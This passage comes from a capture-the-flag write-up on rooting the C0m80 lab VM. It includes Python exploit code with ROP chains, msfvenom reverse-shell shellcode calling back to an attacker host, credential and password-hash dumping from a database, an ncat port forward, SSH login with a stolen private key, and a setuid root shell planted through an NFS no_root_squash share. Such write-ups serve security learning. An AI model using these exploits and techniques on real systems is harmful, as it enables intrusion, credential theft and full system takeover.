print '[-] There is a NULL for addr = 0x%08x , value = 0x%08x' % (addr + idx, value)
target = remote (target_ip, target_port)
do_overflow (target, payload, sebp)
sleep (0.1)
target.close ()
# write command
cmd = 'rundll32 Z:\\ftpsvr\\bkp\\shell.dll'
start_data = 0x405060
write_data (rhost, rport, start_data, cmd)
# VirtualAlloc
addr_rop_VirtualAlloc = 0x408610
ropchain = [
func_VirtualAlloc,
# JUNK
0x12345678,
# ret addr
addr_ret,
# addr
# -> 0x50782172 + 0x615f6f47 * 2 = 0x13370000
0x50782172,
# size
# -> 0x7f56772e + 0x40554469 * 2 = 0x10000
0x7f56772e,
# alloc type = COMMIT + RESERVE = 0x3000
# -> 0x577f3540 + 0x54407d60 * 2 = 0x3000
0x577f3540,
# protect = READ WRITE EXECUTE
# -> 0x4d216946 + 0x596f4b7d * 2 = 0x40
0x4d216946,
# ExitThread ()
func_ExitThread,
0x87654321,
0xdeadbeef
]
payload = pack_rop (ropchain)
has_modif = 4
# write func_system
write_data (rhost, rport, addr_rop_VirtualAlloc, payload)
# fix addr
write_data (rhost, rport, addr_rop_VirtualAlloc + 8 + has_modif, struct.pack ('<I', 0x615f6f47))
write_data (rhost, rport, addr_rop_VirtualAlloc + 8 + has_modif, struct.pack ('<I', 0x615f6f47))
# fix size
write_data (rhost, rport, addr_rop_VirtualAlloc + 12 + has_modif, struct.pack ('<I', 0x40554469))
write_data (rhost, rport, addr_rop_VirtualAlloc + 12 + has_modif, struct.pack ('<I', 0x40554469))
# fix alloc type
write_data (rhost, rport, addr_rop_VirtualAlloc + 16 + has_modif, struct.pack ('<I', 0x54407d60))
write_data (rhost, rport, addr_rop_VirtualAlloc + 16 + has_modif, struct.pack ('<I', 0x54407d60))
# fix protect
write_data (rhost, rport, addr_rop_VirtualAlloc + 20 + has_modif, struct.pack ('<I', 0x596f4b7d))
write_data (rhost, rport, addr_rop_VirtualAlloc + 20 + has_modif, struct.pack ('<I', 0x596f4b7d))
# pivot to VirtualAlloc()
target = remote (rhost, rport)
do_overflow (target, struct.pack ('<I', addr_leave), struct.pack ('<I', addr_rop_VirtualAlloc - 4))
# system (cmd)
print '[+] cmd : 0x%08x' % start_data
print '[+] sys : 0x%08x' % addr_rop_system
# write system
ropchain = [
# system()
# 0x517f6746 + 0x5760726b * 2 = 0x404c1c = func_system
0x517f6746,
# pop ebx ; ret
0x62501033,
# 0x61435170 + 0x4f7e7f78 * 2 = 0x405060
0x61435170,
# ExitThread ()
func_ExitThread,
0x87654321,
]
payload = pack_rop (ropchain)
# write func_system
write_data (rhost, rport, addr_rop_system, payload)
write_data (rhost, rport, addr_rop_system, struct.pack ('<I', 0x5760726b))
write_data (rhost, rport, addr_rop_system, struct.pack ('<I', 0x5760726b))
# write cmd addr
write_data (rhost, rport, addr_rop_system + 8, struct.pack ('<I', 0x4f7e7f78))
write_data (rhost, rport, addr_rop_system + 8, struct.pack ('<I', 0x4f7e7f78))
# pivot and execute system()
target = remote (rhost, rport)
do_overflow (target, struct.pack ('<I', addr_leave), struct.pack ('<I', addr_rop_system - 4))
target.close ()
print 'addrof (shellcode) = 0x%08x' % addr_shellcode
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f python -b '\x00\x0a'
buf = ""
buf += "\xba\x10\xf6\xd4\x6c\xdd\xc6\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x12\x31\x56\x12\x83\xc6\x04\x03\x46\xf8\x36"
buf += "\x99\x57\xdf\x40\x81\xc4\x9c\xfd\x2c\xe8\xab\xe3\x01"
buf += "\x8a\x66\x63\xf2\x0b\xc9\x5b\x38\x2b\x60\xdd\x3b\x43"
buf += "\xb3\xb5\x84\xf5\x5b\xc4\xf4\xe8\xc7\x41\x15\xba\x9e"
buf += "\x01\x87\xe9\xed\xa1\xae\xec\xdf\x26\xe2\x86\xb1\x09"
buf += "\x70\x3e\x26\x79\x59\xdc\xdf\x0c\x46\x72\x73\x86\x68"
buf += "\xc2\x78\x55\xea"
shellcode = buf
print 'sizeof shellcode : %d' % len (shellcode)
# pivot and execute shellcode
payload = '\x90' * 10 + shellcode
write_data (rhost, rport, addr_shellcode, payload)
# trigger exec
target = remote (rhost, rport)
do_overflow (target, struct.pack ('<I', addr_shellcode + 10), struct.pack ('<I', addr_shellcode + 0x500 - 4))
target.close ()
Post-Exploitation : Privilege Escalation
For privilege escalation, usual checks are made:
- processes running as root
- cronjobs
- suid binaries
- credentials
- misconfigured services
- trust relationships : probably get info somewhere else, come back and root
- kernel version
- etc
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
id
uid=1000(b0b) gid=1001(b0b) groups=1001(b0b)
python --version
Python 2.7.6
python -c 'import pty; pty.spawn ("/bin/dash")'
$ id
id
uid=1000(b0b) gid=1001(b0b) groups=1001(b0b)
$ cat /var/www/html/bugs/config/config_inc.php
cat /var/www/html/bugs/config/config_inc.php
<?php
$g_hostname = 'localhost';
$g_db_type = 'mysqli';
$g_database_name = 'bugtracker';
$g_db_username = 'root';
$g_db_password = 'bobistheking';
$g_default_timezone = 'Europe/London';
$g_crypto_master_salt = 'C+ydu13FkvkVCLSWu85CqxSqS7ougj7EEC+5+CLqF2I=';
$ mysql -uroot -p
mysql -uroot -p
Enter password: bobistheking
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1465
Server version: 5.5.57-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use bugtracker
use bugtracker
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select username,password from mantis_user_table;
select username,password from mantis_user_table;
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| bob | facc581c941193bc7edc6b207706fb6e |
| guest | 084e0343a0486ff05530df6c705c8bb4 |
| Jeff | facc581c941193bc7edc6b207706fb6e |
| alice | 247c42400cd044c577400470127b0063 |
| DCheung | 739e3b6d4c36092dcc5ac222b8e1360d |
+----------+----------------------------------+
5 rows in set (0.03 sec)
mysql> quit
quit
Bye
$ cat /etc/exports
cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/ftpsvr/bkp *(rw,sync,no_root_squash,no_subtree_check)
We got our way to escalate our privileges!
no_root_squash is a big no no for NFS configuration.
This allow users to upload setuid root binaries on the server through
that misconfigured share.
no_root_squash - Allows root users on client computers to have root
access on the server. Mount requests for root are not be mounted to
the anonomous user. This option is needed for diskless clients.
Looking at the folder, we get to see that the bkp folder is only readable by
members of the 'backup' group. Reading /etc/passwd yield al1ce as being a
member of that group.
We first need to login as al1ce before enjoying our root suid shell.
b0b@C0m80:~$ ls -la .ssh/
total 24
drwx------ 2 b0b b0b 4096 Sep 23 18:42 .
drwxr-xr-x 21 b0b b0b 4096 Oct 11 12:05 ..
-rw------- 1 b0b b0b 1766 Sep 22 21:05 id_rsa
-rw-r--r-- 1 b0b b0b 391 Sep 22 21:05 id_rsa.pub
-rw-r--r-- 1 b0b b0b 222 Sep 23 02:58 known_hosts
-rw-rw-r-- 1 b0b b0b 181 Sep 23 04:32 .save~
b0b@C0m80:~$ cat .ssh/.save~
###### NO PASWORD HERE SRY ######
I'm using my new password manager
PWMangr2
just a note to say
WELL DONE & KEEP IT UP ;D
#################################
I went looking for that password manager and ended up finding a page:
/home/b0b/.wine/drive_c/users/b0b/Application Data/Mozilla/Extensions/PWMangr2.html
meterpreter> download '/home/b0b/.wine/drive_c/users/b0b/Application Data/Mozilla/Extensions/PWMangr2.html'
Opening that .html file on a browser, we can access the passwords by guessing
"alice".
Hints are quite a bad idea for logins. Most of the time than not, user have bad
password habits and their hints often give out their password or reduce the
search space tremendously.
We can find the password for b0b thanks to the hint, the password is : alice.
The password for al1ce is not valid for her account but for b0b's ssh private key.
If you've searched through al1ce home folder, you'd have seen that we can
connect to her account thanks to her .ssh/authorized_keys which includes bob's
public key.
The SSH service is only locally reachable.
To reach it from outside, we can use ncat as a port forwarder.
b0b@C0m80:~$ ncat --sh-exec "ncat ::1 65122" -l 10022 --keep-open
SSH in al1ce account using the exfiltrated bob's private key
and the key password (7M6Kt8tC8X5Qz99@Eeb8592Z$Fd@u286).
With al1ce account, we now have access to /ftpsvr/bkp/.
al1ce@C0m80:~$ id
uid=1001(al1ce) gid=34(backup) groups=34(backup)
al1ce@C0m80:~$ ls -lash /ftpsvr/bkp/
total 2.7M
4.0K drwxrwx--- 2 root backup 4.0K Sep 23 02:37 .
4.0K drwxr-xr-x 3 b0b b0b 4.0K Sep 23 01:07 ..
2.7M -rw-r--r-- 1 backup backup 2.7M Oct 11 17:20 ftp104.bkp
Using our NFS access, we upload a root setuid binary.
On our attacker's machine:
root@kali:~/c0m80# mount 192.168.56.106:/ftpsvr/bkp/ bkp/
root@kali:~/c0m80# cp bash bkp/
root@kali:~/c0m80# ls -lash bkp/bash
964K -rwxr-xr-x 1 root root 964K Oct 11 2017 bkp/bash
root@kali:~/c0m80# chmod +s bkp/bash
root@kali:~/c0m80# ls -lash bkp/bash
964K -rwsr-sr-x 1 root root 964K Oct 11 2017 bkp/bash
root@kali:~/c0m80# umount bkp
Now with al1ce account:
al1ce@C0m80:~$ ls -lash /ftpsvr/bkp/bash
964K -rwsr-sr-x 1 root root 964K Oct 11 17:23 /ftpsvr/bkp/bash
al1ce@C0m80:~$ /ftpsvr/bkp/bash -p
bash-4.3# id
uid=1001(al1ce) gid=34(backup) euid=0(root) egid=0(root) groups=0(root),34(backup)
bash-4.3# ls -lash /root/flag.txt
4.0K -rw-r--r-- 1 root root 400 Sep 23 20:29 /root/flag.txt
bash-4.3# cat /root/flag.txt
############## WELL DONE ###############
You dealt BestestSoftware a killer C0m80
I really hope you enjoyed the challenge
and learned a thing of two while on your
journey here.
Please leave feelback & comments at:
https://3mrgnc3.ninja/
All the best.
3mrgnc3
;D
############ ROOT FLAG ##############
K1ll3rC0m80D3@l7&i5mash3dth1580x
######################################
And that's it for that VM, we rooted it, we're god on it.
Conclusion
This VM was interesting on multiple levels:
- enumerate enumerate enumerate
- classic pentesting : nmap, enum4linux, showmount, etc
- exploit development
- multiple scripts had to be written
- it was not another VM with an easily exploitable RFI, LFI or SQLi
I hope you enjoyed the read,
Until next time,
m_101